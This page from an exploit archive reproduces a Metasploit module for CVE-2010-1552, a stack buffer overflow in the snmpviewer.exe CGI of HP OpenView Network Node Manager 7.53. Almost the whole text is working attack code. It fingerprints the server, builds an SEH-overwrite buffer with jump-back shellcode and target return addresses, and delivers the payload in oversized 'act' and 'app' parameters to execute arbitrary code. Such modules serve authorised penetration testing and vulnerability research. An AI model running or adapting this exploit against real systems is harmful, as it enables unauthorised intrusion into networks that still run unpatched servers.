ExploitFixes
HP OpenView Network Node Manager snmpviewer.exe Buffer Overflow - [CVE: 2010-1552] 2011-03-24 14:15:36

##
# $Id: hp_nnm_snmpviewer_actapp.rb 12098 2011-03-23 15:47:20Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/snmpviewer.exe', :pattern => /Hewlett-Packard Development Company/ }

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'HP OpenView Network Node Manager snmpviewer.exe Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53
prior to NNM_01203. By making a specially crafted HTTP request to the "snmpviewer.exe"
CGI program, an attacker can cause a stack-based buffer overflow and execute arbitrary
code.

The vulnerable code lies within the a function within "snmpviewer.exe" with a
timestamp prior to April 7th, 2010. This vulnerability is triggerable via either a GET
or POST request. The request must contain 'act' and 'app' parameters which, when
combined, total more than the 1024 byte stack buffer can hold.

It is important to note that this vulnerability must be exploited by overwriting SEH.
While the saved return address can be smashed, a function call that occurs before
the function returns calls "exit".
} ,
'Author' =>
[
'jduck' # Metasploit module
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 12098 $',
'References' =>
[
[ 'CVE', '2010-1552' ],
[ 'OSVDB', '64975' ],
[ 'BID', '40068' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-083/' ],
[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02153379' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Privileged' => false,
'Payload' =>
{
'Space' => 1024, # 1024 byte buffer..
'BadChars' =>
# Not sure why this one has a different set of bad chars...
(
(0x00..0x08).to_a + (0x0b..0x1f).to_a +
[ 0x21, 0x26, 0x3c, 0x3e, 0x5b, 0x5d, 0x5e, 0x60, 0x7e, 0x7f ]
).pack('C*'),
'DisableNops' => true,
# Manually use FPU to get EIP into ECX
'PrependEncoder' => "\x89\xe2\xdb\xdb\xd9\x72\xf4\x59\x83\xe9\xf7",
'EncoderOptions' => { 'BufferRegister' => 'ecx' },
},
'Platform' => 'win',
'Targets' =>
[
[ 'HP OpenView Network Node Manager 7.53 w/NNM_01201',
{
'Ret' => 0x5a238ba7, # pop edx/pop ebp/ret - in ovsnmp.dll v1.30.10.9166
}
],
[ 'HP OpenView Network Node Manager 7.53 (Windows 2003)',
{
'Ret' => 0x71c069dd, # pop edx/pop ecx/ret - in ws2_32.dll v5.2.3790.3959
}
],
[ 'Debug Target',
{
'Ret' => 0xdeadbeef, # crasher
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 11 2010'))

register_options(
[
Opt::RPORT(80),
], self.class)
end

def exploit

print_status("Trying target #{target.name}...")

cgi = '/OvCgi/snmpviewer.exe'

# "ins" must be "load" or "content"
ins_ok = [ 'load', 'content' ]
ins = ins_ok[rand(ins_ok.length)]

start = 'The specified Application/Action name is not defined.<p>Application:"'
#middle = '"<p>Action:"'

ia32 = Metasm::Ia32.new

# SEH
seh_offset = 1192
seh_frame = rand_text(8)

# Jump back to the payload, after p/p/r jumps to us.
distance = seh_offset - start.length + seh_frame.length # dry run
jmp_back = Metasm::Shellcode.assemble(ia32, "jmp $-" + distance.to_s).encode_string
distance = seh_offset - start.length - jmp_back.length
distance += 8 if ins == 'content'
jmp_back = Metasm::Shellcode.assemble(ia32, "jmp $-" + distance.to_s).encode_string

# A short jump back to the long jump back :)
jmp_small = Metasm::Shellcode.assemble(ia32, "jmp $-" + jmp_back.length.to_s).encode_string

# Fix up the SEH frame
seh_frame[0,jmp_small.length] = jmp_small
seh_frame[4,4] = [target.ret].pack('V')

# Create the buffer
buf = ''
buf << payload.encoded
pad = seh_offset - start.length - buf.length - jmp_back.length
pad += 8 if ins == 'content'
buf << rand_text(pad)
buf << jmp_back
buf << seh_frame

app = buf

# Force an exception writing off the end of the stack
action = rand_text(1024)

# Send the request
if rand(2) > 0
print_status("Sending exploit via POST request (ins=#{ins})...")
res = send_request_cgi({
'uri' => cgi,
'method' => "POST",
'vars_post' =>
{
'ins' => ins,
'act' => action,
'app' => app
}
}, 3)
else
print_status("Sending exploit via GET request (ins=#{ins})...")
res = send_request_cgi({
'uri' => cgi,
'method' => "GET",
'vars_get' =>
{
'ins' => ins,
'act' => action,
'app' => app
}
}, 3)
end

if res and res.code != 502
print_error("Eek! We weren't expecting a response, but we got one")
print_status(res.inspect) if datastore['NNM_DEBUG']
end

handler

end

def wfs_delay
5
end

end